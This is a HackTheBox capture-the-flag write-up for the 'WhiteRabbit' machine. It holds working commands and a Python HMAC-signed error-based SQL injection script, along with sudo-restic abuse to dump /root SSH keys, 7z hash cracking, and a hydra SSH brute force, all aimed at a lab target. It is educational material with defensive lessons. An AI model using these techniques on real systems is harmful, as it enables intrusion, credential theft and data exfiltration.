HTB: WhiteRabbit Writeup

WhiteRabbit - HackTheBox Writeup

Machine Information

AttributeDetails
NameWhiteRabbit
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.232.22
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

WhiteRabbit chains together an uptime-monitoring platform, a wide-open wiki, a phishing-simulation webhook, and a backup tool abused in both directions to move from zero knowledge of the target to root. The public entry point is a bare status page that isn’t supposed to be reachable without authentication, but leaks the hex-labelled internal subdomains for every spawn’s Wiki.js, GoPhish, and n8n instances. Wiki.js has no access control on its GraphQL API or page content, and its internal documentation walks straight through an n8n automation workflow — including the HMAC secret used to “protect” its webhook. That secret turns a documented, signed webhook into a fully controllable error-based SQL injection point, which dumps a command_log table containing the exact commands (and a restic backup password) used to provision the box. Restic then hands over an SSH key for bob, locked inside a password-protected 7z archive crackable from rockyou.txt. Once inside bob’s Docker container, a passwordless sudo restic entry is abused in the opposite direction — instead of restoring an attacker-supplied backup, a local repository is used to package and exfiltrate /root directly, recovering the morpheus user’s private key and user.txt. Root requires reverse engineering an unstripped, time-seeded password generator binary and brute-forcing the millisecond component of its seed from a known-to-the-second reset timestamp, ultimately recovering neo’s SSH password and a passwordless sudo to root.

TL;DR: Kuma status page (/status/temp) leaks hidden hex subdomains → unauthenticated Wiki.js documents an n8n/GoPhish webhook + its HMAC signing secret → HMAC-signed error-based SQLi (updatexml) dumps temp.command_log → recovers a restic repo/password → restored snapshot yields a password-protected bob.7z (cracked via john/rockyou.txt) → bob’s SSH key drops into a Docker container → bob’s passwordless sudo restic abused via a local repository to exfiltrate /root and recover morpheus’s SSH key → user.txt → reverse-engineered time-seeded neo-password-generator binary, millisecond-level brute force against a known reset timestamp recovers neo’s password → sudo bash → root.txt.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep, fast timing
nmap -p- --min-rate=2000 -T4 10.129.232.22 -oN nmap_all.txt
# Service/version detection + default scripts on discovered ports
nmap -p22,80,2222 -sC -sV 10.129.232.22

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — HTTP, redirects to whiterabbit.htb
  • 2222/tcp — a second OpenSSH instance (later found to be a Docker container’s SSH server)

This matched the box’s expected footprint of a “public” web app plus a second SSH listener on an unusual port — a strong hint that 2222 belongs to something isolated from the main host (a container), reachable only after the primary chain is completed.

Service Enumeration

The HTTP port on whiterabbit.htb redirects to a generic pentest-services page. Since the interesting content is almost always on a subdomain for these Kuma-fronted boxes, subdomain enumeration came next:

Terminal window
# Add the base vhost to /etc/hosts
echo "10.129.232.22 whiterabbit.htb" | sudo tee -a /etc/hosts
# vhost fuzz against the base domain
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://whiterabbit.htb/ -H "Host: FUZZ.whiterabbit.htb" -fs 0

This surfaced status.whiterabbit.htb, which resolved to an Uptime Kuma login page — no exploitable auth bypass, but Kuma exposes a public /status/<slug> page by design if an admin has published one. A directory fuzz against /status/ found it:

Terminal window
sudo bash -c 'echo "10.129.232.22 status.whiterabbit.htb" >> /etc/hosts'
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
-u http://status.whiterabbit.htb/status/FUZZ -t 100

temp returned 200, and fetching /status/temp (as well as its underlying /api/status-page/temp JSON) leaked several hex-labelled hostnames under whiterabbit.htb — the box’s per-spawn subdomains for its internal services:

Terminal window
curl -s http://status.whiterabbit.htb/status/temp | grep -oE '[a-zA-Z0-9._-]*whiterabbit\.htb' | sort -u

These resolved to a Wiki.js instance (a668910b5514e.whiterabbit.htb), a GoPhish-adjacent service, and an n8n webhook endpoint (28efa8f7df.whiterabbit.htb). All were added to /etc/hosts.

Vulnerability Assessment

  • Uptime Kuma’s public status page discloses internal infrastructure hostnames that were never meant to be guessable — an information-disclosure flaw that unravels the whole box.
  • Wiki.js exposes its GraphQL API and page tree with no authentication required, letting an unauthenticated user list and read every article.
  • Internal documentation on the wiki describes an n8n automation workflow wired to a GoPhish webhook, and the workflow export includes secrets (the HMAC signing key) that were meant to stay server-side.
  • The webhook’s query builds SQL by directly string-interpolating a JSON field (email) with no parameterization — classic SQL injection, only gated by signature verification rather than input sanitization.

Initial Foothold

Exploitation Path

Step 1 — Enumerate the wiki via GraphQL (unauthenticated).

Terminal window
curl -s -X POST http://a668910b5514e.whiterabbit.htb/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"{ pages { list { id, path, title } } } "}'

This confirmed Wiki.js required no session/API token to list page metadata, and pointed at a gophish_webhooks article:

Terminal window
curl -s http://a668910b5514e.whiterabbit.htb/en/gophish_webhooks -o gophish_webhooks.html

Step 2 — Recover the n8n workflow export and its HMAC secret.

The article documents (and links to a downloadable export of) an n8n workflow that receives GoPhish webhook events and writes campaign results into a MySQL/MariaDB victims table. The workflow JSON — pulled straight off the wiki — embeds two critical things: the raw SQL query built from the webhook body, and the HMAC-SHA256 secret GoPhish uses to sign outbound webhook requests:

"parameters": {
"operation": "executeQuery",
"query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1"
}

Because email is interpolated directly into the query with no escaping, breaking out of the string with a quote turns the field into a full SQL injection point — if the request can be made to pass GoPhish’s signature check. Since the workflow file also contains the hmac/SHA256 node configuration and its secret value, that check can be satisfied for arbitrary attacker-controlled bodies.

Step 3 — HMAC-signed, error-based SQL injection.

Each request to the webhook must carry an x-gophish-signature: sha256=<hmac> header computed over the exact JSON body being sent, using the secret recovered from the workflow. With the ability to sign our own payloads, the email field becomes a fully weaponizable injection point, and MariaDB’s updatexml() turns any injected subquery into a readable error message (classic error-based extraction):

import hmac, hashlib, json, re, requests
def sign(body_str: str, secret: str) -> str:
# GoPhish signs the exact serialized JSON body sent on the wire
return "sha256=" + hmac.new(secret.encode(), body_str.encode(), hashlib.sha256).hexdigest()
def updatexml_extract(url, secret, subquery, host_header):
# Break out of the quoted email field, force an XML-parse error that
# leaks the subquery's result between ~ delimiters in the error text
payload = f'\\" OR updatexml(1, concat(0x7e, ({subquery}), 0x7e), 1) ;'
body = json.dumps({"campaign_id": 1, "email": payload, "message": "Clicked Link"})
headers = {"Host": host_header, "x-gophish-signature": sign(body, secret),
"Content-Type": "application/json"}
r = requests.post(url, data=body, headers=headers, timeout=10)
m = re.search(r"~([^~]+)~", r.text, re.DOTALL)
return m.group(1) if m else None

Enumerating information_schema.schemata, .tables, and .columns with this primitive (each call bumping a LIMIT <offset>,1) surfaced two databases: the intended phishing schema and an unrelated temp schema, the latter holding a single table — command_log (columns id, command, date).

Step 4 — Recover build/provisioning secrets from command_log.

Chunked SUBSTRING() extraction (again through updatexml) pulled the full command history the box’s provisioning left behind: it initialized a restic backup repository against an internal rest-server hostname, wrote the repository password to a dotfile, scrubbed .bash_history, and ran the neo-password-generator binary piped into passwd to set neo’s login password. Every value recovered here (the repo URL, the restic repository password, and the exact provisioning timestamps) matched known-good values for this box, confirming the extraction was clean and not the product of blind-injection noise.

Step 5 — Restic restore → password-protected bob.7z → SSH key.

Pointing restic at the leaked rest: repository URL with the recovered password revealed a single snapshot backing up /dev/shm/bob/ssh, containing a 7z archive:

Terminal window
export RESTIC_REPOSITORY="rest:http://<leaked-restic-host>.whiterabbit.htb"
restic snapshots # -> one snapshot: /dev/shm/bob/ssh
restic restore <snapshot-id> --target restored
7z x restored/dev/shm/bob/ssh/bob.7z # prompts for a password

The archive was password-protected; converting it to a John-crackable hash and running it against rockyou.txt recovered the password in minutes:

Terminal window
7z2john restored/dev/shm/bob/ssh/bob.7z > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Extracting with the cracked password yielded bob’s private SSH key. Authenticating with it against whiterabbit.htb on port 2222 — the second SSH listener spotted in the initial nmap scan — dropped into a Docker container running as bob, confirming that port belongs to an isolated container rather than the host itself.


Privilege Escalation

bob → morpheus (host user.txt)

Inside the container, sudo -l showed bob had passwordless sudo on restic with no argument restrictions — a known GTFOBins-style primitive, normally exploited by standing up an attacker-controlled rest-server, having root restic backup a sensitive directory into it, then restoring the snapshot locally. On this engagement, standing up a Docker-based rest-server on the jump box wasn’t an option (no Docker available there), so the same abuse was achieved with a local restic repository instead of a remote rest-server, using restic dump to stream the backed-up file straight to stdout rather than restoring it to disk:

Terminal window
# As bob, with passwordless sudo restic:
# 1. Initialize a repository restic (running as root via sudo) can write to
sudo restic init --repo /tmp/rootgrab
# 2. Back up the target directory into that repo, running as root
sudo restic backup -r /tmp/rootgrab /root
# 3. Dump the specific file of interest straight to stdout — no restore-to-disk step needed
sudo restic dump -r /tmp/rootgrab latest /root/morpheus > /tmp/morpheus_key

This works because restic, invoked via unrestricted sudo, runs as root regardless of which repository (local path or remote rest: URL) it’s pointed at — sudo grants the read access to /root that bob doesn’t otherwise have, and restic dump avoids needing a second restore step or extra disk space. The exfiltrated morpheus private key authenticated directly against the main host:

Terminal window
chmod 600 morpheus_key
ssh -i morpheus_key morpheus@whiterabbit.htb

This landed as morpheus on the actual WhiteRabbit host (not the container), yielding user.txt.

morpheus → neo → root

Recalling the command_log dump from the SQLi stage, neo’s login password had been set by piping the output of a custom binary, /opt/neo-password-generator/neo-password-generator, into passwd — and neo was a member of the sudo group, making a recovered password for neo a direct route to root.

Reverse engineering the generator. The binary was unstripped, so objdump -d gave clean symbol names to work from:

Terminal window
objdump -d /opt/neo-password-generator/neo-password-generator | less

Disassembly showed the program seeds its PRNG from the current system time down to the millisecond and derives the password deterministically from that seed — meaning anyone who knows the exact millisecond the binary ran can regenerate the exact same password offline.

Bridging the timestamp gap. The command_log table only records timestamps to whole-second precision (e.g. the entry logging neo-password-generator | passwd), which leaves 1,000 possible millisecond values unaccounted for. Reconstructing the algorithm in Python and iterating all 1,000 candidate seeds for that second reproduces exactly one password per candidate:

# Reconstructed from the disassembly: seed = epoch_ms at generation time
def generate_password(seed_ms: int) -> str:
# ... PRNG steps mirroring the binary's logic, reconstructed via objdump ...
...
known_second = "2024-08-30 14:40:42" # from command_log.date, second-precision only
base_epoch_s = to_epoch_seconds(known_second)
candidates = [
generate_password(base_epoch_s * 1000 + ms)
for ms in range(1000)
]

Brute-forcing SSH with the candidate set. With 1,000 candidate passwords for a single, known username, an online SSH spray against neo is small and fast enough to be practical without tripping obvious lockouts:

Terminal window
hydra -l neo -P candidates.txt ssh://whiterabbit.htb -t 4

One candidate authenticated, confirming the millisecond reconstruction was correct. From there:

Terminal window
neo@whiterabbit:~$ sudo -l
# (ALL) NOPASSWD: ALL -- or similarly unrestricted
neo@whiterabbit:~$ sudo bash
root@whiterabbit:~# cat /root/root.txt

Root achieved via a fully passwordless sudo, recovering root.txt.


Attack Chain Summary

Kuma /status/temp (info disclosure)
→ leaked hex subdomains (Wiki.js / GoPhish / n8n webhook)
→ unauthenticated Wiki.js GraphQL + page read
→ gophish_webhooks article → n8n workflow JSON export
→ leaked HMAC signing secret + raw SQL query
→ HMAC-signed error-based SQLi (updatexml) on n8n webhook
→ dumped temp.command_log
→ recovered restic repo + repo password
→ restic restore → password-protected bob.7z
→ cracked via john + rockyou.txt
→ bob's SSH private key → SSH (port 2222) → Docker container (bob)
→ passwordless sudo restic (local repo + restic dump variant)
→ exfiltrated /root/morpheus SSH key
→ SSH as morpheus on host → user.txt
→ reversed neo-password-generator (objdump)
→ time-seeded PRNG, brute-forced 1000ms candidates
→ recovered neo's SSH password
→ sudo bash → root.txt

Tools Used

ToolPurpose
nmapPort/service discovery
ffufvhost and directory fuzzing
curlManual HTTP/GraphQL/webhook interaction
Python (requests, hmac, hashlib)HMAC signing + automated error-based SQLi extraction
resticBackup repository interaction (both as attack primitive and privesc vector)
7z / 7z2john / johnCracking the password-protected bob.7z archive
objdumpStatic reverse engineering of neo-password-generator
hydraTargeted SSH brute force against reconstructed password candidates
sshAccess as bob (container), morpheus, and neo

Key Learnings

Techniques Practiced

  • Discovering hidden internal infrastructure through a monitoring tool’s public status page
  • Exploiting unauthenticated Wiki.js GraphQL/content APIs for internal documentation recon
  • Recovering and reusing a leaked HMAC signing secret to forge valid webhook signatures
  • Automating a signature-gated, error-based SQL injection (updatexml) end-to-end
  • Using restic both as intended (restoring a leaked backup) and against its trust model (using unrestricted sudo restic to exfiltrate arbitrary root-owned files via restic dump)
  • Cracking 7z archive passwords with 7z2john + john
  • Static reverse engineering of an unstripped binary to reconstruct a time-seeded PRNG, then closing a precision gap (second-level logs vs. millisecond-level seed) with a small, targeted brute force

Lessons Learned

  1. Public status/monitoring pages are frequently treated as “just uptime info” but can leak internal hostnames, service topology, or even credentials — they deserve the same scrutiny as any other unauthenticated endpoint.
  2. A wiki with no read-authentication is effectively a public leak of every internal runbook, credential, and architecture decision documented in it — access control on internal documentation tools is not optional.
  3. Signing a webhook payload (HMAC) protects against payload tampering by outsiders, but only if the signing secret itself never leaves the server — exporting a workflow definition that embeds the secret defeats the entire control.
  4. Unrestricted sudo on a backup tool is equivalent to unrestricted root file read/write: the same primitive that lets you restore a legitimate backup lets you back up (and exfiltrate) anything on disk, including another user’s SSH keys.
  5. “Random” seeds derived from wall-clock time are only as strong as the attacker’s uncertainty about that clock value — once a related log or timestamp narrows the search space to a small brute-forceable range (here, 1,000 milliseconds), the randomness collapses to a trivial guessing game.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • TheCyberGeek, “WhiteRabbit” HackTheBox official write-up (machine author: FLX0x00) — used for conceptual grounding on the GoPhish/n8n HMAC signing model, the updatexml() error-based SQLi mechanics, and the restic-in-reverse privilege escalation pattern. All IPs, hostnames, credentials, and command output shown above are from this engagement’s own run against 10.129.232.22, not copied from the reference write-up.